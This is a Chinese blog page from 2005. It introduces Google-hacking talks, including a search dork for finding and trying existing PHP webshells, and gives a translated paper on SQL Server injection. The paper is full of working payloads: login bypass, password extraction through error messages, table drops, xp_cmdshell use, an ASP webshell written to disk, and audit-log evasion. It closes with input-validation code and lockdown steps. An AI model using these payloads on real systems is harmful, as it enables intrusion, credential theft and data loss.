在google已经成为搜索引擎代名词的今天,聪明的人们不断发掘google的新用途,2004年在拉斯维加斯举行的BlackHat大会上,有两位安全专家分别作了名为You found that on google ? 和google attacks 的主题演讲。个人觉得颇为精彩,因此编译整理,简单介绍,不求甚解,只是希望能够引起大家的重视。
1. 观点
google及类似的搜索引擎在为人们提供大量便捷的同时,也带来了一定潜在风险。
网络中的“有心人士”数目众多;
利用搜索引擎能够快速查找存在脆弱性的主机及其它设备;
利用搜索引擎能够快速查找包含敏感数据的信息;
利用搜索引擎的“扫描”极其隐蔽,并且由于其具有archive、cache等功能,往往数据量更大。
因此,需要人们提高警觉性,在善用搜索引擎的同时,也善于保护自己。
2. 案例
2.1 基础
所谓“工欲善其事,必先利其器”,要用google来进行“渗透测试”,首先当然要深入了解google了,建议对google不甚了解的人先参考这篇Google搜索从入门到精通。
而后简单了解google的一些操作符,如:site、inurl、filetype、intitle等……
2.2 演示
要做的演示并不复杂,渗透测试人员在实施攻击之前,往往会先进行信息搜集工作,而后才是漏洞确认和最终的漏洞利用、扩大战果。在这里我们的目标是:通过google查找被人安装了php webshell后门的主机,并测试能否使用。
我们在google的搜索框中填入:
intitle:"php shell*" "Enable stderr" filetype:php
搜索结果中,或许你能找到一两够直接在机器上执行命令的web shell来。
这是类似黑客工具的操作方式。在You found that on google ? 中,你会看到大量的实际案例,google找到了大量的密码、信用卡帐号、网络管理信息等等……
2.3 工具
对攻与防两边来说,自动化的工具都是可以提高效率的,这里介绍几款工具:
gooscan
用来处理搜索结果的一个小命令行程序,能够一定程度上减轻查询google时的“体力劳动”负担。界面如下:
sitedigger
这是FoundStone出品的一款免费软件,代用了google的api接口,使用者需要先到google api网站注册帐号获取一个许可字串后,才可以正常使用。使用前建议先自动连接到网络更新规则库,SiteDigger的规则库包含了七大类规则,分类详细,是一款相当不错的小产品。你也可以先参考它的白皮书。
athena
与SiteDigger类似,是一款借助搜索引擎来查找信息被误用或滥用的工具,支持多搜索引擎。
3. 解决
3.1 我们该如何做?
我们的资料如此容易被人所获取,那该采用什么方式来避开这种攻击或数据搜集呢?
信息发布的严格审核与责任追查;
利用相关工具进行在互联网进行搜索,如果有信息被滥用,到从google中删除网页记录提交你希望删除的信息;
控制robots.txt,控制搜索引擎的机器人的查询。
3.2 总结
还是以一幅FreeMind绘制的图片来结束这则短短的介绍吧:
本文由[ 阳光狮人 www.sun-lion.com ]收集整理
本文由[阳光狮人 www.sun-lion.com]收集整理
10:26 AM | 评论 (0)
Sunday, March 20, 2005 #
SQL Server应用程序中的高级SQL注入
摘要:
这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。
这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核WEB应用程序的安全专家。
介绍:
SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。
一个典型的SQL语句如下:
Select id,forename,surname from authors
这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
Select id,forename,surname from authors where forename'john' and surname='smith'
需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,
如下:
Forename:jo'hn
Surname:smith
查询语句变为:
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
当数据库试图去执行这个查询时,它将返回如下错误:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如:
Forename:jo';drop table authors—
Surname:
结果是authors表被删除,造成这种结果的原因我们稍后再讲。
看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
Select id,forename,surname from authors where id=1234
在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。
我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码,让用户输入用户名和密码:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_loginasp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp的代码,它是用来控制登陆的:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出现问题的地方是process_lgin.asp中产生查询语句的部分:
Var sql="select * from users where username='"+username+"' and password='"+password+"'";
如果用户输入的信息如下:
Username:';drop table users—
Password:
数据库中表users将被删除,拒绝任何用户进入应用程序。'—'符号在Transact-SQL中表示忽略'—'以后的语句,';'符号表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。
攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
Username:admin'—
攻击者可以使用users表中第一个用户,输入如下:
Username:' or 1=1—
更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:
Username:' union select 1,'fictional_user','some_password',1—
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。
通过错误消息获得信息
这个几乎是David Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。
为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:
Create talbe users(
Id int,
Username varchar(255),
Password varchar(255),
Privs int
)
然后将下面的用户插入到users表中:
Insert into users values(0,'admin','r00tr0x!',0xffff)
Insert into users values(0,'guest','guest',0x0000)
Insert into users values(0,'chris','password',0x00ff)
Insert into users values(0,'fred','sesame',0x00ff)
如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个'1',这样只给他自己一个低权限的用户。
幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。
(下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)
首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:
Username:' having 1=1—
这样将会出现如下错误:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:
Username:' group by users.id having 1=1—
出现的错误如下:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最终攻击者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1—
这句话并不产生错误,相当于:
select * from users where username=''
因此攻击者现在知道查询涉及users表,按顺序使用列'id,username,password,privs'。
能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:
Username:' union select sum(username) from users—
这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
这告诉了我们'username'字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。
Username:' union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
这样攻击者就可以写一个好的insert查询,例如:
Username:';insert into users values(666,'attacker','foobar','0xffff)—
这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:
select * from master ..sysmessages
解释这些将实现有趣的消息。
一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:
Username:' union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
这句尝试去将内置的'@@version'常量转化成一个整型数字,因为users表中的第一列是整型数字。
这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:
Username:' union select min(username),1,1,1 from users where username>'a'—
这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。
Username:' union select min(username),1,1,1 from users where username>'admin'—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻击者确定了用户名,他就可以开始收集密码:
Username:' union select password,1,1,1 from users where username='admin'—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
攻击者使用这个当作用户名登陆(都在一行)
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
这就创建了一个foo表,里面只有一个单独的列'ret',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。
然后攻击者就可以取得我们要得到的字符串:
Username:' union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35
然后丢弃(删除)表来清楚脚印:
Username:'; drop table foo—
这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。
获得更高的权限
一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:
1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。
2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统权限运行的)
3. 利用其他存储过程去改变服务器
4. 在连接的服务器上执行查询
5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码
6. 使用'bulk insert'语法去读服务器上的任意文件
7. 使用bcp在服务器上建立任意的文本格式的文件
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序,使它能做任何ASP脚本可以做的事情
这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法,为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法:
[xp_cmdshell]
许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互。
Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
Exec master..xp_cmdshell 'dir'
将获得SQLSERVER进程的当前工作目录中的目录列表。
Exec master..xp_cmdshell 'net user'
将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。
[xp_regread]
另一个有用的内置存储过程是xp_regXXXX类的函数集合。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
这些函数的使用方法举例如下:
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
这将确定什么样的会话连接在服务器上是可以使用的
exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。
这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。
[其他存储过程]
xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:
exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server'
下表中列出了少量的其他有用的存储过程:
Xp_availablemedia 显示机器上有用的驱动器
Xp_dirtree 允许获得一个目录树
Xp_enumdsn 列举服务器上的ODBC数据源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains 列举服务器可以进入的域
Xp_terminate_process 提供进程的进程ID,终止此进程
[Linked Servers]
SQL SERVER提供了一种允许服务器连接的机制,也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用'sp_addlinkedsrvlogin'过程,当前可信的连接不用登陆就可以访问到服务器。'openquery'函数允许查询脱离服务器也可以执行。
[Custom extended stored procedures]
扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上,还有其它包括了多种自动通讯的通讯机制,比如HTTP下载和FTP脚本。
一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):
Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll'
在正常的方式下,这个扩展存储过程可以被运行:
exec xp_webserver
一旦这个程序被运行,可以使用下面的方法将它除去:
xp_dropextendedproc 'xp_webserver'
[将文本文件导入表]
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
create table foo( line varchar(8000) )
然后执行bulk insert操作把文件中的数据插入到表中,如:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
可以使用上述的错误消息技术,或者使用'union'选择,使文本文件中的数据与应用程序正常返回的数据结合,将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。
[使用bcp建立文本文件]
使用'bulk insert'的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。'bcp',即'bulk copy program'
既然 bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。
命令行格式如下:
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
'S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar'
[ActiveX automation scripts in SQL SERVER]
SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:
(1)这个例子使用'wscript.shell'对象建立了一个记事本的实例:
wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',NULL,'notepad.exe'
我们可以通过指定在用户名后面来执行它:
Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—
(2)这个例子使用'scripting.filesystemobject'对象读一个已知的文本文件:
--scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret=sp_oamethod @f,'readline',@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,'readline',@line out
end
(3)这个例子创建了一个能执行通过提交到的任何命令:
-- scripting.filesystemobject example – create a 'run this'.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\foo.asp',1
exec @ret=sp_oamethod @f,'writeline',NULL,'<% set o=server.createobject("wscript.shell")
.run(request.querystring("cmd")) %>'
需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用'speech.voicetext'对象引起SQL SERVER发声:
declare @o int,@ret int
exec sp_oacreate 'speech.voicetext',@o out
exec sp_oamethod @o,'register',NULL,'foo','bar'
exec sp_oasetproperty @o,'speed',150
exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
waitfor delay '00:00:05'
我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):
Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--
[存储过程]
传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。
本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。
比较好的常规的标准是:
?如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够引起SQL注入的弱点。
?如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的用于参数收集的command对象),那么通过这个对象的执行,它一般是安全的。
明显地,既然新的攻击技术始终地被发现,好的惯例仍然是验证用户所有的输入。
为了阐明存储过程的查询注入,执行以下语句:
sp_who '1' select * from sysobjects
or
sp_who '1';select * from sysobjects
任何一种方法,在存储过程后,追加的查询依然会执行。
[高级SQL注入]
通常情况下,一个web应用程序将会过滤单引号(或其他符号),或者限定用户提交的数据的长度。
在这部分,我们讨论一些能帮助攻击者饶过那些明显防范SQL注入,躲避被记录的技术。
[没有单引号的字符串]
有时候开发人员会通过过滤所有的单引号来保护应用程序,他们可能使用VBScript中的replace函数或类似:
function escape(input)
input=replace(input,"'","''")
escape=input
end function
无可否认地这防止了我们所有例子的攻击,再除去';'符号也可以帮很多忙。但是在一个大型的应用程序中,好象个别值期望用户输入的是数字。这些值没有被限定,因此为攻击者提供了一个SQL注入的弱点。
如果攻击者想不使用单引号产生一个字符串值,他可以使用char函数,例如:
insert into users values(666,
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
0xffff)
这就是一个能够往表中插入字符串的不包含单引号的查询。
淡然,如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会起作用:
insert into users values(667,
123,
123,
oxffff)
SQL SERVER自动地将整型转化为varchar型的值。
[Second-Order SQL Injection]
即使应用程序总是过滤单引号,攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用。
例如,攻击者可能利用下面的信息在应用程序中注册:
Username:admin'—
Password:password
应用程序正确过滤了单引号,返回了一个类似这样的insert语句:
insert into users values(123,'admin''—','password',0xffff)
我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{
…
设置新密码的代码如下:
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
rso("username")为登陆查询中返回的用户名
当username为admin'—时,查询语句为:
update users set password = 'password' where username='admin'—'
这样攻击者可以通过注册一个admin'—的用户来根据自己的想法来设置admin的密码。
这是一个非常严重的问题,目前在大型的应用程序中试图去过滤数据。最好的解决方法是拒绝非法输入,这胜于简单地努力去修改它。这有时会导致一个问题,非法的字符在那里是必要的,例如在用户名中包含'符号,例如
O'Brien
从一个安全的观点来看,最好的解答是但引号不允许存在是一个简单的事实。如果这是无法接受的话,他们仍然要被过滤;在这种情况下,保证所有进入SQL查询的数据都是正确的是最好的方法。
如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据,这种方式的攻击也是可能的。应用程序可能有email接口,或者可能在数据库中可以存储错误日志,这样攻击者可以努力控制它。验证所有数据,包括数据库中已经存在的数据始终是个好的方法。确认函数将被简单地调用,例如:
if(not isValid("email",request.querystring("email"))) then
response.end
或者类似的方法。
[长度限制]
为了给攻击者更多的困难,有时输入数据的长度是被限制的。当这个阻碍了攻击时,一个小的SQL可以造成很严重的危害。例如:
Username:';shutdown—
这样只用12个输入字符就将停止SQL SERVER实例。另一个例子是:
drop table <tablename>
如果限定长度是在过滤字符串后应用将会引发另一个问题。假设用户名被限定16个字符,密码也被限定16个字符,那么下面的用户名和密码结合将会执行上面提到的shutdown命令:
Username:aaaaaaaaaaaaaaa'
Password:'; shutdown—
原因是应用程序尝试去过滤用户名最后的单引号,但是字符串被切断成16个字符,删除了过滤后的一个单引号。这样的结果就是如果密码字段以单引号开始,它可以包含一些SQL语句。既然这样查询看上去是:
select * from users where username='aaaaaaaaaaaaaaa'' and password=''';shutdown—
实际上,查询中的用户名已经变为:
aaaaaaaaaaaaaaa' and password='
因此最后的SQL语句会被执行。
[审计]
SQL SERVER包含了丰富的允许记录数据库中的各种事件的审计接口,它包含在sp_traceXXX类的函数中。特别有意思的是能够记录所有SQL语句,然后在服务器上执行的T-SQL的事件。如果这种审计是被激活的,我们讨论的所有注入的SQL查询都将被记录在数据库中,一个熟练的数据库管理员将能够知道发生了什么事。不幸地,如果攻击者追加以下字符串:
Sp_password
到一个Transact-SQL语句中,这个审计机制记录日志如下:
--'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
这种行为发生在所有的T-SQL日记记录中,即使'sp_password'发生在一个注释中。这个过程打算通过sp_password隐藏用户的密码,但这对于一个攻击者来说是非常有用的方法。
因此,为了隐藏所有注入,攻击者需要简单地在'—'注释字符后追加sp_password,例如:
Username:admin'—sp_password
事实上一些被执行的SQL将被记录,但是查询本身将顺利地从日志中消失。
[防范]
这部分讨论针对记述的攻击的一些防范。我们将讨论输入确认和提供一些简单的代码,然后我们将从事SQL SERVER锁定。
[输入验证]
输入验证是一个复杂的题目。比较有代表性的是,自从过于严密地确认倾向于引起部分应用程序的暂停,输入确认问题很难被解决,在项目开发中投入很少的注意力在输入确认上。输入确认不是倾向于将它加入到应用程序的功能当中,因此它一般会被忽视。
下面是一个含有简单代码的讨论输入确认的大纲。这个简单的代码不能直接用于应用程序中,但是它十分清晰地阐明了不同的策略。
不同的数据确认方法可以按以下分类:
1) 努力修改数据使它成为正确的
2) 拒绝被认为是错误的输入
3) 只接收被认为是正确的输入
第一种情况有一些概念上的问题;首先,开发人员没必要知道那些是错误数据,因为新的错误数据的形式始终被发现。其次,修改数据会引起上面描述过的数据的长度问题。最后,二次使用的问题包括系统中已经存在数据的重新使用。
第二种情况也存在第一种情况中的问题;已知的错误输入随着攻击技术的发展变化。
第三种情况可能是三种中最好的,但是很难实现。
从安全角度看合并第二种方法和第三种方法可能是最好的方法——只允许正确的输入,然后搜索输入中已知的错误数据。
带有连接符号的姓名的问题对于体现合并两种方法的必要性是一个好的例子:
Quentin Bassington-Bassington
我们必须在正确输入中允许连接符号,但是我们也意识到字符序列'—'对SQL SERVER很重要。
当合并修改数据和字符序列确认时,会出现另一个问题。例如,如果我们应用一个错误过滤在除去单引号之后去探测'—','select'和'union',攻击者可以输入:
uni'on sel'ect @@version-'-
既然单引号被除去,攻击者可以简单地散布单引号在自己的错误的字符串中躲避被发现。
这有一些确认代码的例子:
方法一——过滤单引号
function escape(input)
input=replace(input,"'","''")
escape=input
end function
方法二——拒绝已知的错误输入
function validate_string(input)
known_bad=array("select","insert","update","delete","drop","—","'")
validate_string=true
for i=lbound(known_bad) to ubound(known_bad)
if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
validate_string=false
exit function
end if
next
end function
方法三——只允许正确的输入
function validatepassword(input)
good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
validatepassword=true
for i=1 to len(input)
c=mid(input,I,1)
if(InStr(good_password_chars,c)=0) then
validatepassword=false
exit function
end if
next
end function
[SQL SERVER锁定]
在这指出的重要一点是锁定SQL SERVER是必要的;外面的是不安全的。这是一个但创建SQL SERVER时需要做的事情的简短的列表:
1.确定连接服务器的方法
a.确定你所使用的网络库是可用的,那么使用"Network Utility"
2.确定哪些帐户是存在的
a.为应用程序的使用创建一个低权限的帐户
b.删除不必要的帐户
c.确定所有帐户有强壮的密码;执行密码审计
3.确定哪些对象存在
a.许多扩展存储过程能被安全地移除。如果这样做了,应该移除包含在扩展存储过程代码中的'.dll'文件
b.移除所有示例数据库——例如'northwind'和'pubs'数据库
4.确定哪写帐户能过使用哪些对象
a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小权限
5.确定服务器的补丁
a.针对SQL SERVER有一些缓冲区溢出和格式化字符串攻击,也有一些其他的安全补丁发布。应该存在很多。
6.确定什么应该被日志记录,什么应该在日志中结束。
[参考文献]
[1] Web Application Disassembly with ODBC Error Messages, David Litchfield
http://www.nextgenss.com/papers/webappdis.doc
[2] SQL Server Security Checklist
http://www.sqlsecurity.com/checklist.asp
[3] SQL Server 2000 Extended Stored Procedure Vulnerability
http://www.atstake.com/research/advisories/2000/a120100-2.txt
[4] Microsoft SQL Server Extended Stored Procedure Vulnerability
http://www.atstake.com/research/advisories/2000/a120100-1.txt
[5] Multiple Buffer Format String Vulnerabilities In SQL Server
http://www.microsoft.com/technet/security/bulletin/MS01-060.asp http://www.atstake.com/research/advisories/2001/a122001-1.txt
3:17 PM | 评论 (0)
数据库菜鸟不可不看 简单SQL语句小结
